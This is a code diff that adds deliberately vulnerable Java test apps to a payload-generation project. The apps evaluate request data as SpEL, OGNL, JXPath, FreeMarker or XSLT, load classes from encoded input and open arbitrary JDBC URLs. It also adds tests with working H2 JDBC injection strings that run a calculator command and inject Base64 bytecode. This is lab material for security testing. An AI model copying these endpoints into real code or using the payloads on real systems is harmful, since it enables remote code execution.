ClassPackerConfig config = new ClassPackerConfig();
|
||||
byte[] classBytes = "hello".getBytes(StandardCharsets.UTF_8);
|
||||
config.setClassName(className);
|
||||
config.setClassBytes(classBytes);
|
||||
config.setClassBytesBase64Str(Base64.getEncoder().encodeToString(classBytes));
|
||||
return config;
|
||||
}
|
||||
|
||||
@Test
|
||||
void packScriptEngine() {
|
||||
String payload = new XSLTScriptEnginePacker().pack(config("com.example.Test"));
|
||||
|
||||
assertTrue(payload.startsWith("<xsl:stylesheet"));
|
||||
assertTrue(payload.contains("DatatypeConverter"));
|
||||
assertTrue(payload.contains("ScriptEngineManager"));
|
||||
// the inner js payload is base64 encoded, class name should not appear in plain text
|
||||
assertFalse(payload.contains("com.example.Test"));
|
||||
}
|
||||
}
|
||||
@@ -44,9 +44,11 @@ include("vul:vul-springboot2")
|
||||
include("vul:vul-springboot2-jetty")
|
||||
include("vul:vul-springboot2-undertow")
|
||||
include("vul:vul-springboot3")
|
||||
include("vul:vul-springboot4")
|
||||
include("vul:vul-springboot359")
|
||||
include("vul:vul-springboot2-webflux")
|
||||
include("vul:vul-springboot3-webflux")
|
||||
include("vul:vul-springboot4-webflux")
|
||||
include("vul:vul-playframework")
|
||||
include("vul:vul-dubbo")
|
||||
include("memshell-agent:memshell-agent-attacher")
|
||||
|
||||
@@ -22,6 +22,7 @@ dependencies {
|
||||
implementation("ognl:ognl:2.7.3")
|
||||
implementation("commons-jxpath:commons-jxpath:1.3")
|
||||
implementation("commons-beanutils:commons-beanutils:1.9.3")
|
||||
implementation("org.freemarker:freemarker:2.3.23")
|
||||
}
|
||||
|
||||
tasks.test {
|
||||
|
||||
+35
@@ -0,0 +1,35 @@
|
||||
package com.reajason.javaweb.vul.springboot3.controller;
|
||||
|
||||
import freemarker.template.Configuration;
|
||||
import freemarker.template.Template;
|
||||
import freemarker.template.TemplateException;
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestParam;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.io.StringReader;
|
||||
import java.io.StringWriter;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/8/30
|
||||
*/
|
||||
@RestController
|
||||
@RequestMapping("/freemarker")
|
||||
public class FreemarkerController {
|
||||
@PostMapping
|
||||
public String freemarker(@RequestParam String data) throws IOException, TemplateException {
|
||||
Configuration configuration = new Configuration();
|
||||
configuration.setDefaultEncoding("UTF-8");
|
||||
Map<String, Object> input = new HashMap<>();
|
||||
input.put("object", new Object());
|
||||
Template template = new Template("templateName", new StringReader(data), configuration);
|
||||
StringWriter output = new StringWriter();
|
||||
template.process(input, output);
|
||||
return output.toString();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
FROM eclipse-temurin:21.0.11_10-jdk
|
||||
WORKDIR /app
|
||||
|
||||
COPY build/libs/vul-springboot4-webflux.jar /app/app.jar
|
||||
|
||||
EXPOSE 8080
|
||||
|
||||
ENTRYPOINT java $JAVA_OPTS -jar app.jar
|
||||
@@ -0,0 +1,15 @@
|
||||
plugins {
|
||||
id("java")
|
||||
id("org.springframework.boot") version "4.0.8"
|
||||
id("io.spring.dependency-management") version "1.1.7"
|
||||
}
|
||||
|
||||
java {
|
||||
toolchain {
|
||||
languageVersion = JavaLanguageVersion.of(17)
|
||||
}
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation("org.springframework.boot:spring-boot-starter-webflux")
|
||||
}
|
||||
+14
@@ -0,0 +1,14 @@
|
||||
package com.reajason.javaweb.vul.springboot4;
|
||||
|
||||
public class ClassDefiner extends ClassLoader {
|
||||
public ClassDefiner() {
|
||||
}
|
||||
|
||||
public ClassDefiner(ClassLoader parent) {
|
||||
super(parent);
|
||||
}
|
||||
|
||||
public Class<?> defineClass(byte[] code) {
|
||||
return defineClass(null, code, 0, code.length);
|
||||
}
|
||||
}
|
||||
+13
@@ -0,0 +1,13 @@
|
||||
package com.reajason.javaweb.vul.springboot4;
|
||||
|
||||
import org.springframework.boot.SpringApplication;
|
||||
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||
|
||||
@SpringBootApplication
|
||||
public class VulSpringboot4Application {
|
||||
|
||||
public static void main(String[] args) {
|
||||
SpringApplication.run(VulSpringboot4Application.class, args);
|
||||
}
|
||||
|
||||
}
|
||||
+35
@@ -0,0 +1,35 @@
|
||||
package com.reajason.javaweb.vul.springboot4.controller;
|
||||
|
||||
import com.reajason.javaweb.vul.springboot4.ClassDefiner;
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
import org.springframework.web.server.ServerWebExchange;
|
||||
import reactor.core.publisher.Mono;
|
||||
|
||||
import java.util.Base64;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
@RestController
|
||||
@RequestMapping("/b64")
|
||||
public class Base64ClassLoaderController {
|
||||
|
||||
@PostMapping
|
||||
public Mono<String> handleFormSubmission(ServerWebExchange exchange) {
|
||||
return exchange.getFormData()
|
||||
.flatMap(formData -> {
|
||||
String data = formData.getFirst("data");
|
||||
byte[] bytes = Base64.getDecoder().decode(data);
|
||||
Object o = null;
|
||||
try {
|
||||
o = new ClassDefiner(Thread.currentThread().getContextClassLoader()).defineClass(bytes).newInstance();
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
return Mono.just(o.toString());
|
||||
});
|
||||
}
|
||||
}
|
||||
+123
@@ -0,0 +1,123 @@
|
||||
package com.reajason.javaweb.vul.springboot4.controller;
|
||||
|
||||
import org.springframework.web.bind.annotation.GetMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
@RestController
|
||||
public class IndexController {
|
||||
|
||||
@RequestMapping("/test")
|
||||
public String test() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
|
||||
return "";
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName) throws
|
||||
Exception {
|
||||
return invokeMethod(obj, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
|
||||
Exception {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
try {
|
||||
gzipInputStream.close();
|
||||
} catch (IOException ignored) {
|
||||
}
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||
for (Class<?> clazz = obj.getClass();
|
||||
clazz != Object.class;
|
||||
clazz = clazz.getSuperclass()) {
|
||||
try {
|
||||
return clazz.getDeclaredField(name);
|
||||
} catch (NoSuchFieldException ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(name);
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||
try {
|
||||
Field field = getField(obj, name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException ignored) {
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
@GetMapping("/")
|
||||
public String index() {
|
||||
return "hello";
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
spring.application.name=vul-springboot4
|
||||
@@ -0,0 +1,8 @@
|
||||
FROM eclipse-temurin:21.0.11_10-jdk
|
||||
WORKDIR /app
|
||||
|
||||
COPY build/libs/vul-springboot4.jar /app/app.jar
|
||||
|
||||
EXPOSE 8080
|
||||
|
||||
ENTRYPOINT java $JAVA_OPTS -jar app.jar
|
||||
@@ -0,0 +1,28 @@
|
||||
plugins {
|
||||
id("java")
|
||||
id("war")
|
||||
id("org.springframework.boot") version "4.0.8"
|
||||
id("io.spring.dependency-management") version "1.1.7"
|
||||
}
|
||||
|
||||
java {
|
||||
toolchain {
|
||||
languageVersion = JavaLanguageVersion.of(17)
|
||||
}
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation("org.springframework.boot:spring-boot-starter-webmvc")
|
||||
testImplementation("org.springframework.boot:spring-boot-starter-test")
|
||||
testImplementation("org.junit.jupiter:junit-jupiter-api")
|
||||
testImplementation("org.junit.jupiter:junit-jupiter")
|
||||
testRuntimeOnly("org.junit.platform:junit-platform-launcher")
|
||||
runtimeOnly("com.h2database:h2")
|
||||
implementation("ognl:ognl:2.7.3")
|
||||
implementation("commons-jxpath:commons-jxpath:1.3")
|
||||
implementation("commons-beanutils:commons-beanutils:1.9.3")
|
||||
}
|
||||
|
||||
tasks.test {
|
||||
useJUnitPlatform()
|
||||
}
|
||||
+10
@@ -0,0 +1,10 @@
|
||||
package com.reajason.javaweb.vul.springboot4;
|
||||
|
||||
public class ClassDefiner extends ClassLoader {
|
||||
private ClassDefiner() {
|
||||
}
|
||||
|
||||
public static Class<?> defineClass(byte[] code) {
|
||||
return new ClassDefiner().defineClass(null, code, 0, code.length);
|
||||
}
|
||||
}
|
||||
+12
@@ -0,0 +1,12 @@
|
||||
package com.reajason.javaweb.vul.springboot4;
|
||||
|
||||
import org.springframework.boot.SpringApplication;
|
||||
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||
|
||||
@SpringBootApplication
|
||||
public class VulSpringboot4Application {
|
||||
|
||||
public static void main(String[] args) {
|
||||
SpringApplication.run(VulSpringboot4Application.class, args);
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
package com.reajason.javaweb.vul.springboot4.controller;
|
||||
|
||||
import com.reajason.javaweb.vul.springboot4.ClassDefiner;
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import java.util.Base64;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
@RestController
|
||||
@RequestMapping("/b64")
|
||||
public class Base64ClassLoaderController {
|
||||
|
||||
@PostMapping
|
||||
public String base64ClassLoader(String data) throws InstantiationException, IllegalAccessException {
|
||||
byte[] bytes = Base64.getDecoder().decode(data);
|
||||
Object o = ClassDefiner.defineClass(bytes).newInstance();
|
||||
return o.toString();
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
package com.reajason.javaweb.vul.springboot4.controller;
|
||||
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/12/6
|
||||
*/
|
||||
@RestController
|
||||
@RequestMapping("/biginteger")
|
||||
public class BigIntegerClassLoaderController extends ClassLoader {
|
||||
static byte[] decodeBigInteger(String bigIntegerStr) throws Exception {
|
||||
Class<?> decoderClass = Class.forName("java.math.BigInteger");
|
||||
return (byte[]) decoderClass.getMethod("toByteArray").invoke(decoderClass.getConstructor(String.class, int.class).newInstance(bigIntegerStr, Character.MAX_RADIX));
|
||||
}
|
||||
|
||||
@PostMapping
|
||||
public void base64ClassLoader(String data) throws Exception {
|
||||
byte[] bytes = decodeBigInteger(data);
|
||||
defineClass(null, bytes, 0, bytes.length).newInstance();
|
||||
}
|
||||
}
|
||||
+123
@@ -0,0 +1,123 @@
|
||||
package com.reajason.javaweb.vul.springboot4.controller;
|
||||
|
||||
import org.springframework.web.bind.annotation.GetMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
@RestController
|
||||
public class IndexController {
|
||||
|
||||
@RequestMapping("/test")
|
||||
public String test() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
|
||||
return "";
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName) throws
|
||||
Exception {
|
||||
return invokeMethod(obj, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
|
||||
Exception {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
try {
|
||||
gzipInputStream.close();
|
||||
} catch (IOException ignored) {
|
||||
}
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||
for (Class<?> clazz = obj.getClass();
|
||||
clazz != Object.class;
|
||||
clazz = clazz.getSuperclass()) {
|
||||
try {
|
||||
return clazz.getDeclaredField(name);
|
||||
} catch (NoSuchFieldException ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(name);
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||
try {
|
||||
Field field = getField(obj, name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException ignored) {
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
@GetMapping("/")
|
||||
public String index() {
|
||||
return "hello";
|
||||
}
|
||||
}
|
||||
+31
@@ -0,0 +1,31 @@
|
||||
package com.reajason.javaweb.vul.springboot4.controller;
|
||||
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import java.sql.Connection;
|
||||
import java.sql.DriverManager;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/6/27
|
||||
*/
|
||||
@RestController
|
||||
public class JDBCController {
|
||||
|
||||
@PostMapping("/jdbc")
|
||||
public void JDBC(String data) throws Exception {
|
||||
try {
|
||||
Connection connection = DriverManager.getConnection(data);
|
||||
connection.close();
|
||||
} catch (Throwable e) {
|
||||
Throwable ex = e.getCause();
|
||||
while (ex.getCause() != null) {
|
||||
ex = ex.getCause();
|
||||
}
|
||||
if (!(ex instanceof ClassCastException)) {
|
||||
throw e;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
package com.reajason.javaweb.vul.springboot4.controller;
|
||||
|
||||
import org.apache.commons.jxpath.JXPathContext;
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/14
|
||||
*/
|
||||
@RestController
|
||||
@RequestMapping("/jxpath")
|
||||
public class JXPathController {
|
||||
@PostMapping
|
||||
protected Object doPost(String data) {
|
||||
JXPathContext context = JXPathContext.newContext(null);
|
||||
return context.getValue(data);
|
||||
}
|
||||
}
|
||||
+25
@@ -0,0 +1,25 @@
|
||||
package com.reajason.javaweb.vul.springboot4.controller;
|
||||
|
||||
import ognl.Ognl;
|
||||
import ognl.OgnlContext;
|
||||
import ognl.OgnlException;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/14
|
||||
*/
|
||||
@RestController
|
||||
@RequestMapping("/ognl")
|
||||
public class OgnlController {
|
||||
@RequestMapping
|
||||
protected Object doPost(String data) {
|
||||
OgnlContext context = new OgnlContext();
|
||||
try {
|
||||
return Ognl.getValue(data, context, context.getRoot());
|
||||
} catch (OgnlException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
}
|
||||
+25
@@ -0,0 +1,25 @@
|
||||
package com.reajason.javaweb.vul.springboot4.controller;
|
||||
|
||||
import org.springframework.expression.spel.standard.SpelExpressionParser;
|
||||
import org.springframework.expression.spel.support.StandardEvaluationContext;
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
@RestController
|
||||
@RequestMapping("/spel")
|
||||
public class SpELController {
|
||||
|
||||
/**
|
||||
* 10000 长度限制,无法使用
|
||||
*/
|
||||
@PostMapping
|
||||
public ResponseEntity<?> spel(String data) {
|
||||
return ResponseEntity.ok().body(String.valueOf(new SpelExpressionParser().parseExpression(data).getValue(new StandardEvaluationContext())));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
spring.application.name=vul-springboot4
|
||||
@@ -0,0 +1,15 @@
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/6/27
|
||||
*/
|
||||
public class CommandExec {
|
||||
static {
|
||||
try {
|
||||
java.lang.Runtime.getRuntime().exec("open -a Calculator");
|
||||
} catch (IOException e) {
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
import com.reajason.javaweb.vul.springboot4.controller.JDBCController;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/6/27
|
||||
*/
|
||||
public class JDBCTest {
|
||||
|
||||
@Test
|
||||
void testJDBC() throws Exception {
|
||||
JDBCController jdbcController = new JDBCController();
|
||||
String funcionName = "testJDBC";
|
||||
String str = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS " + funcionName + " AS '" +
|
||||
"String shellexec(String abc) throws java.lang.Exception{" +
|
||||
"java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")\\;" +
|
||||
"return \"test\"\\;" +
|
||||
"}'\\;" +
|
||||
"CALL " + funcionName + "('123')";
|
||||
jdbcController.JDBC(str);
|
||||
}
|
||||
|
||||
@Test
|
||||
void testJDBC2() throws Exception {
|
||||
JDBCController jdbcController = new JDBCController();
|
||||
String b64Bytecode = "yv66vgAAAD0AIAoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwgADgEAEm9wZW4gLWEgQ2FsY3VsYXRvcgoACAAQDAARABIBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7BwAUAQATamF2YS9pby9JT0V4Y2VwdGlvbgcAFgEAC0NvbW1hbmRFeGVjAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA1MQ29tbWFuZEV4ZWM7AQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlAQAKU291cmNlRmlsZQEAEENvbW1hbmRFeGVjLmphdmEAIQAVAAIAAAAAAAIAAQAFAAYAAQAXAAAALwABAAEAAAAFKrcAAbEAAAACABgAAAAGAAEAAAAHABkAAAAMAAEAAAAFABoAGwAAAAgAHAAGAAEAFwAAAE8AAgABAAAADrgABxINtgAPV6cABEuxAAEAAAAJAAwAEwADABgAAAASAAQAAAAKAAkADQAMAAsADQAOABkAAAACAAAAHQAAAAcAAkwHABMAAAEAHgAAAAIAHw==";
|
||||
String str = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS look AS '" +
|
||||
"String a(String a) throws java.lang.Throwable{" +
|
||||
"String base64Str=\"" + b64Bytecode + "\"\\;" +
|
||||
"byte[] bytes=java.util.Base64.getDecoder().decode(base64Str)\\;" +
|
||||
"try {" +
|
||||
" java.lang.Class<?> unsafeClass = Class.forName(\"sun.misc.Unsafe\")\\;" +
|
||||
" java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField(\"theUnsafe\")\\;" +
|
||||
" unsafeField.setAccessible(true)\\;" +
|
||||
" java.lang.Object unsafe = unsafeField.get(null)\\;" +
|
||||
" java.lang.Object module = Class.class.getMethod(\"getModule\").invoke(java.lang.Object.class, (java.lang.Object[]) null)\\;" +
|
||||
" java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod(\"objectFieldOffset\", java.lang.reflect.Field.class)\\;" +
|
||||
" long offset = (Long) objectFieldOffsetM.invoke(unsafe, java.lang.Class.class.getDeclaredField(\"module\"))\\;" +
|
||||
" java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod(\"getAndSetObject\", java.lang.Object.class, long.class, java.lang.Object.class)\\;" +
|
||||
" java.lang.StackTraceElement[] stackTraceElements = java.lang.Thread.currentThread().getStackTrace()\\;" +
|
||||
" java.lang.Class<?> callerClass = java.lang.Class.forName(stackTraceElements[1].getClassName())\\;" +
|
||||
" getAndSetObjectM.invoke(unsafe, callerClass, offset, module)\\;" +
|
||||
"} catch (Throwable e) {}" +
|
||||
"java.lang.reflect.Method defMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\",bytes.getClass(),int.class,int.class)\\;" +
|
||||
"defMethod.setAccessible(true)\\;" +
|
||||
"java.lang.Class myclass=(java.lang.Class)defMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytes,0,bytes.length)\\;" +
|
||||
"myclass.newInstance()\\;" +
|
||||
"return null\\;" +
|
||||
"}'\\;" +
|
||||
"CALL look('')";
|
||||
System.out.println(str);
|
||||
jdbcController.JDBC(str);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
import javax.servlet.ServletException;
|
||||
import javax.servlet.http.HttpServlet;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import javax.xml.transform.Transformer;
|
||||
import javax.xml.transform.TransformerFactory;
|
||||
import javax.xml.transform.stream.StreamResult;
|
||||
import javax.xml.transform.stream.StreamSource;
|
||||
import java.io.IOException;
|
||||
import java.io.StringReader;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/8/30
|
||||
*/
|
||||
public class XSLTServlet extends HttpServlet {
|
||||
@Override
|
||||
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||||
String data = req.getParameter("data");
|
||||
try {
|
||||
TransformerFactory factory = TransformerFactory.newInstance();
|
||||
Transformer transformer = factory.newTransformer(new StreamSource(new StringReader(data)));
|
||||
transformer.transform(new StreamSource(new StringReader("<?xml version=\"1.0\" encoding=\"UTF-8\"?><root/>")),
|
||||
new StreamResult(resp.getWriter()));
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -33,6 +33,15 @@
|
||||
<url-pattern>/js</url-pattern>
|
||||
</servlet-mapping>
|
||||
|
||||
<servlet>
|
||||
<servlet-name>xslt</servlet-name>
|
||||
<servlet-class>XSLTServlet</servlet-class>
|
||||
</servlet>
|
||||
<servlet-mapping>
|
||||
<servlet-name>xslt</servlet-name>
|
||||
<url-pattern>/xslt</url-pattern>
|
||||
</servlet-mapping>
|
||||
|
||||
<servlet>
|
||||
<servlet-name>java-deserialize</servlet-name>
|
||||
<servlet-class>JavaReadObjServlet</servlet-class>
|
||||
|
||||
@@ -1,2 +1,2 @@
|
||||
VITE_APP_API_URL=http://127.0.0.1:8080
|
||||
VITE_APP_API_URL=http://127.0.0.1:8889
|
||||
VITE_APP_BASE_PATH=/
|
||||
+7
-7
@@ -1,12 +1,6 @@
|
||||
{
|
||||
"$schema": "./node_modules/oxfmt/configuration_schema.json",
|
||||
"experimentalTailwindcss": {
|
||||
"stylesheet": "./app/app.css",
|
||||
"attributes": ["class", "className"],
|
||||
"functions": ["clsx", "cn"],
|
||||
"preserveWhitespace": true
|
||||
},
|
||||
"ignorePatterns": [],
|
||||
"ignorePatterns": ["content/**"],
|
||||
"sortImports": {
|
||||
"newlinesBetween": true,
|
||||
"groups": [
|
||||
@@ -16,5 +10,11 @@
|
||||
["value-parent", "value-sibling", "value-index"],
|
||||
"unknown"
|
||||
]
|
||||
},
|
||||
"sortTailwindcss": {
|
||||
"stylesheet": "./app/app.css",
|
||||
"attributes": ["class", "className"],
|
||||
"functions": ["clsx", "cn"],
|
||||
"preserveWhitespace": true
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
{
|
||||
"$schema": "./node_modules/oxlint/configuration_schema.json",
|
||||
"ignorePatterns": ["vendor/**"],
|
||||
"rules": {
|
||||
"no-unused-vars": [
|
||||
"warn",
|
||||
|
||||
